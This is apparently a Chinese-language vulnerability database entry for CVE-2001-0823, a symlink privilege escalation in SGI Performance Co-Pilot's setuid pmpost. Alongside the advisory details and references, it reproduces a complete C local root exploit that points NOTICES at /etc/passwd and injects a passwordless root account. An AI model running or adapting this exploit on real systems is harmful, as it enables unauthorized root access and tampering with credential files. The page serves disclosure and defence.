CVE-2001-0823
CVSS7.2
发布时间 :2001-12-06 00:00:00
修订时间 :2016-10-17 22:12:03
NMCOE    

[原文]The pmpost program in Performance Co-Pilot (PCP) before 2.2.1-3 allows a local user to gain privileges via a symlink attack on the NOTICES file in the PCP log directory (PCP_LOG_DIR).


[CNNVD]Performance Co-Pilot (PCP)漏洞(CNNVD-200112-031)

        Performance Co-Pilot (PCP) 2.2.1-3之前版本的pmpost程序存在漏洞。本地用户借助PCP日志目录(PCP_LOG_DIR)中NOTICES文件的符号链接攻击提升特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:sgi:performance_co-pilot:2.2SGI Performance Co-Pilot 2.2
cpe:/a:sgi:performance_co-pilot:2.1.9SGI Performance Co-Pilot 2.1.9
cpe:/a:sgi:performance_co-pilot:2.1.6SGI Performance Co-Pilot 2.1.6
cpe:/a:sgi:performance_co-pilot:2.1.8SGI Performance Co-Pilot 2.1.8
cpe:/a:sgi:performance_co-pilot:2.1.5SGI Performance Co-Pilot 2.1.5
cpe:/a:sgi:performance_co-pilot:2.1.11SGI Performance Co-Pilot 2.1.11
cpe:/a:sgi:performance_co-pilot:2.1.2SGI Performance Co-Pilot 2.1.2
cpe:/a:sgi:performance_co-pilot:2.1.7SGI Performance Co-Pilot 2.1.7
cpe:/a:sgi:performance_co-pilot:2.1.4SGI Performance Co-Pilot 2.1.4
cpe:/a:sgi:performance_co-pilot:2.1.1SGI Performance Co-Pilot 2.1.1
cpe:/a:sgi:performance_co-pilot:2.1.10SGI Performance Co-Pilot 2.1.10
cpe:/a:sgi:performance_co-pilot:2.1.3SGI Performance Co-Pilot 2.1.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0823
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0823
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200112-031
(官方数据源) CNNVD

- 其它链接及资源

ftp://patches.sgi.com/support/free/security/advisories/20010601-01-A
(PATCH)  SGI  20010601-01-A
http://archives.neohapsis.com/archives/bugtraq/2001-06/0245.html
(VENDOR_ADVISORY)  BUGTRAQ  20010619 Re: pmpost - another nice symlink follower
http://marc.info/?l=bugtraq&m=99290754901708&w=2
(UNKNOWN)  BUGTRAQ  20010618 pmpost - another nice symlink follower
http://www.securityfocus.com/bid/2887
(VENDOR_ADVISORY)  BID  2887
http://xforce.iss.net/static/6724.php
(VENDOR_ADVISORY)  XF  irix-pcp-pmpost-symlink(6724)

- 漏洞信息

Performance Co-Pilot (PCP)漏洞
高危 未知
2001-12-06 00:00:00 2005-05-02 00:00:00
本地  
        Performance Co-Pilot (PCP) 2.2.1-3之前版本的pmpost程序存在漏洞。本地用户借助PCP日志目录(PCP_LOG_DIR)中NOTICES文件的符号链接攻击提升特权。

- 公告与补丁

        

- 漏洞信息 (20937)

SGI Performance Co-Pilot 2.1.x/2.2 pmpost Symbolic Link Vulnerability (EDBID:20937)
irix local
2001-06-18 Verified
0 IhaQueR
N/A [点击下载]
source: http://www.securityfocus.com/bid/2887/info

Performance Co-Pilot (PCP) is a set of services to support system-level performance monitoring developed by SGI. It has traditionally been an IRIX product, however SGI has made it open source and it is now available for Linux systems.

One of the utilities that ships with PCP is called 'pmpost'. It is often installed setuid root by default. When writing to the 'NOTICES' file in its user-definable log directory, 'pmpost' will follow symbolic links. Since the data written is user-supplied (the command-line arguments), it is possible to gain superuser privileges if 'pmpost' is setuid root.

Note: This vulnerability affects both binary versions for IRIX and the open source distribution of PCP. S.u.S.E. has made PCP packages available for their linux distribution. PCP is not installed as part of S.u.S.E. Linux by default. The PCP packages for S.u.S.E. Linux 7.0 do not install 'pmpost' setuid root. Versions 7.1 and 7.2 do, and are vulnerable if PCP is installed.

It has been reported that not all versions of PCP for IRIX are vulnerable. To determine whether you are vulnerable, run this command:

strings /usr/pcp/bin/pmpost | grep PCP_LOG_DIR

If the string 'PCP_LOG_DIR' appears, it is most likely that the version of 'pmpost' installed is vulnerable.

It is not yet known which other Linux vendors may ship with PCP as either an optional package or installed by default. 

/********************************************************
*							*
*		pmpost local root exploit		*
*		vulnerable: pcp <= 2.1.11-5		*
*		by IhaQueR				*
*							*
********************************************************/




#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/stat.h>



main()
{
const char *bin="/usr/share/pcp/bin/pmpost";
static char buf[512];
static char dir[128];


	srand(time(NULL));
	sprintf(dir, "/tmp/dupa.%.8d", rand());

	if(mkdir(dir, S_IRWXU))
		_exit(2);

	if(chdir(dir))
		_exit(3);

	if(symlink("/etc/passwd", "./NOTICES"))
		_exit(4);

	snprintf(buf, sizeof(buf)-1, "PCP_LOG_DIR=%.500s", dir);

	if(putenv(buf))
		_exit(5);

	if(!fork()) {
		execl(bin, bin, "\nr00t::0:0:root:/root:/bin/bash", NULL);
		_exit(1);
	}
	else {
		waitpid(0, NULL, WUNTRACED);
		chdir("..");
		sprintf(buf, "rm -rf dupa.*");
		system(buf);
		execl("/bin/su", "/bin/su", "r00t", NULL);
	}
}
		

- 漏洞信息

1870
Performance Co-Pilot pmpost Symlink Privilege Escalation
Local Access Required Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-06-18 Unknow
2001-06-18 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站